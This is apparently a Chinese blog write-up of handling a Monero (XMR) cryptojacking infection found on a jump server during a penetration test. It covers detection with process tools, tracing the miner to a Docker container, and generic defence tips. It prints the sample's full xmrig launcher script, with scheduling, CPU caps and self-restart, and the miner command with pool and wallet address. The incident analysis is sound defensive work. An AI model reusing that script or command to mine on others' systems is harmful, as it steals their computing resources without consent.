记一次“XMR门罗币挖矿木马病毒”处置

一、背景概述

故事的起因于26号下午做渗透测试时,登录跳板机发现CPU进程拉满到200%,qiao哥看了一眼直接说是XMR挖矿,这句话勾引起我的兴趣,由于应急是我的薄弱项也没有时间深入学习,所以有本篇应急分析文章。
市面上存在很多关于XMR门罗币挖矿的教程,这些教程可能会被攻击者恶意利用来进行盈利。他们通过前期使用非法手段获取服务器的控制权限,并在服务器上部署XMR门罗币挖矿木马脚本。一旦攻击者成功部署了挖矿木马脚本,会通过设置SSH公钥后门登录和计划任务启动项等方式,维持对服务器的控制权限,并利用自启动脚本进行挖矿持续从中获利。
下面是应急排查分析。
首先留图一张,简单了解一下XMR门罗币挖矿木马
图片.png

二、初步排查

1.如图下可以看到,CPU进程直线拉满,CPU已经占满200%,用top命令查看,CPU状态显示xmrig,这里最明显的特征就是xmrig命令,这也是qiao哥为什么一眼看出是XMR挖矿木马的原因!!!,在此次排查中一系列常规排查思路不一一展现,只突出重点步骤。
图片.png 2.使用ps -aux | grep xmrig 查看进程运行命令,可以看到xmrig的执行命令
图片.png

 ./xmrig --coin=monero -o pool.supportxmr.com:3333 -u 89zqe5wQCDsML1xyYx7GxqDqR3DAizK6cXRsd7rXLLmyRCHaTFe6cDJA

xmrig命令如下
-o 矿池地址:端口号 地址(pool.supportxmr.com:3333)
-u 钱包地址 攻击者的获利钱包地址 (89zqe5wQCDsML1xyYx7GxqDqR3DAizK6cXRsd7rXLLmyRCHaTFe6cDJA)
3.使用 ls -l /proc/643961/exe 命令,根据进程PID查看可执行程序
图片.png 4.使用lsof -p 643961根据PID查看进程所占用的文件
图片.png 5.我们先尝试执行杀掉进程 kill -9 643961,发现进程在掉线后,依旧存活,疑似存在定时计划任务。
图片.png 6.排查定时计划任务并未发现什么,最后经过一些列排查发现docker容器内排查出问题,发现多了个容器
pmietlicki/monero-miner容器是一个用于挖掘Monero(一种加密货币)的Docker容器,其中包含了用于挖矿Monero的软件和配置文件。通过运行该容器,可以快速启动Monero挖矿进程进行挖矿。
图片.png 7.使用docker stop 停止该容器,后再使用top命令发现,cpu速率已回归正常
图片.png图片.png 在使用docker命令查找到镜像删除即可,由于我通过命令“find / -name xmrig 查找删除xmrig部分容器样本,会出现一下报错,并不影响后续,挖矿应急初步排查阶段到此为止
图片.png

三、样本分析

通过命令“find / -name xmrig “全局搜索这个恶意样本存储在哪个目录,最后在目录下发现了它
图片.png如下图所示,浏览整个目录,发现都是恶意样本相关的文件,于是将其打包下载到本地进行分析
图片.png对该目录的子目录和文件进行分析,得到以下信息:

#!/bin/bash
algoMode=$1
poolUrl=$2
poolUser=$3
poolPW=$4
maxCpu=$5
useScheduler=$6 # true / false
startTime=$7 #e.g. 1530 or 1100 for time
stopTime=$8 #e.g. 1530 or 1100 for time
days=$9 #e.g. "Tuesday,Friday"
options=${10}
miner="./xmrig"
if [ "$maxCpu" != "100" ] && [ "$maxCpu" != "50" ] && [ "$maxCpu" != "25" ] && [ "$maxCpu" != "12.5" ] && [ "$maxCpu" != "6.25" ] ; then
    echo "maxCpu is not valid"; exit;
fi;
if [ "$useScheduler" != "true" ] && [ "$useScheduler" != "false" ]; then
    echo "useScheduler is not valid, use true or false"; exit;
fi;
if ! [[ ${poolUrl} =~ .+\.[a-z]+\:[0-9]+ ]]; then
    echo "The URL Format seams not right."; exit;
fi;
if [ "$useScheduler" == "true" ]; then
        if [ ${#startTime} -ne 4 ]; then
                echo "startTime is not in a valid format"; exit;
        fi;
        if [[ ${startTime} =~ [A-Za-z_\;\:\.]+ ]]; then
            echo "startTime can only contain digits"; exit;
        fi;
        if [ ${#stopTime} -ne 4 ]; then
                echo "stopTime is not in a valid fromat"; exit;
        fi;
        if [[ ${stopTime} =~ [A-Za-z_\;\:\.]+ ]]; then
            echo "stoptimeTime can only contain digits"; exit;
        fi;
        IFS=',' read -r -a dayArray <<< "$days"
        for day in "${dayArray[@]}"
    do
        if [ "${day,,}" != "monday" ] && [ "${day,,}" != "tuesday" ] && [ "${day,,}" != "wednesday" ] && [ "${day,,}" != "thursday" ] && [ "${day,,}" != "friday" ] && [ "${day,,}" != "saturday" ]  && [ "${day,,}" != "sunday" ]; then
                echo "Days are not formated correctley."; exit;
        fi;
    done
        # wait for starttime
        echo "================================================================";
        echo "Cryptonote mining container based on xmrig";
        echo "with task scheduling mod by MasterRoshi";
        echo  "";
        echo "Scheduler information";
        echo "At: $startTime - $stopTime GMT+0";
        echo "On: $days";
        echo "================================================================";
        echo "Waiting for the next work schedule....";
        while { printf -v current_day '%(%A)T' -1 && [[ ${days,,} != *"${current_day,,}"* ]]; } || { printf -v current_time '%(%H%M)T' -1 && [[ ${current_time} != ${startTime} ]]; }; do
                sleep 10;
        done;
        echo "Time to work, miner is signing-on!";
        # run xmrig as background
        $miner --coin="$algoMode" -o "$poolUrl" -u "$poolUser" -p "$poolPW" --max-cpu-usage="$maxCpu" "${options:---donate-level=3 -k}" &
        while printf -v current_time '%(%H%M)T' -1 && [[ $current_time != $stopTime ]]; do
                sleep 10;
        done;
        # end the xmring when the stoptime is reached
        pkill xmrig;
        echo "Miner signing-off and preparing for  the next work schedule!";
        "$0" "$algoMode" "$poolUrl" "$poolUser" "$poolPW" "$maxCpu" "$useScheduler" "$startTime" "$stopTime" "$days" "${options:---donate-level=3 -k}";
        exit;
else
         $miner --coin="$algoMode" -o "$poolUrl" -u "$poolUser" -p "$poolPW" --max-cpu-usage="$maxCpu" "${options:---donate-level=3 -k}";
fi;

以上经过分析得知,这个是基于xmrig的加密货币挖矿脚本,可以在Linux系统上运行。以下是它的一些参数:

  • algoMode:要挖掘的加密货币算法。
  • poolUrl:矿池的URL地址。
  • poolUser:矿工的用户名。
  • poolPW:矿工的密码。
  • maxCpu:矿工使用的最大CPU百分比。
  • useScheduler:是否启用任务调度模式(true/false)。
  • startTime:如果启用了任务调度模式,则开始时间(24小时制)。
  • stopTime:如果启用了任务调度模式,则结束时间(24小时制)。
  • days:如果启用了任务调度模式,则应该在哪些日期运行(星期几)。
  • options:其他选项。

如果useScheduler被设置为true,脚本将等到指定的开始时间和日期然后启动xmrig并在指定的停止时间停止。
如果useScheduler被设置为false,脚本将直接启动xmrig并运行

四、处置与防御建议

XMR挖矿木马是指恶意软件,它利用受感染的计算机的计算资源来挖掘Monero(XMR)加密货币,而不经过用户的明确许可。以下是修复和防御XMR挖矿木马的一些常见手段:

  1. 及时更新和升级系统:保持操作系统、应用程序和安全补丁的最新版本,以减少已知漏洞的风险。
  2. 安装可信的安全软件:使用强大的杀毒软件、反恶意软件和防火墙等安全工具,定期进行全面扫描和实时保护。
  3. 谨慎下载和安装软件:只从官方和可信的来源下载软件,并在安装过程中仔细阅读和审查相关权限和选项。
  4. 强化远程访问安全:关闭或限制不必要的远程访问服务,如远程桌面协议(RDP),并使用强密码和多因素身份验证来保护远程访问。
  5. 监控系统活动:监控系统日志、网络流量和进程活动,及时发现异常行为和不寻常的计算资源使用情况。
  6. 防止未经授权的挖矿脚本运行:使用浏览器插件或脚本阻止工具,如NoScript、AdBlock Plus等,防止恶意网站在浏览器中运行挖矿脚本。
  7. 加强网络安全:使用强密码、定期更改密码,启用网络防火墙,限制对敏感端口和服务的访问。
  8. 定期备份数据:定期备份重要数据,并将其存储在离线和安全的位置,以防止数据丢失或被勒索软件加密。
  9. 教育员工和用户:提供安全意识培训,教育员工和用户如何识别和避免恶意软件的风险。
  10. 及时响应和隔离感染:如果发现系统受到XMR挖矿木马感染,立即断开与网络的连接,并寻求专业的技术支持来清除和修复受感染的系统。

请注意,这些措施可以提高系统的安全性,但没有绝对的安全保障。因此,持续的安全意识和定期的安全审查是至关重要的,以确保系统和数据的安全。

posted @ 2024-04-18 11:25  Super403  阅读(49)  评论(0编辑  收藏  举报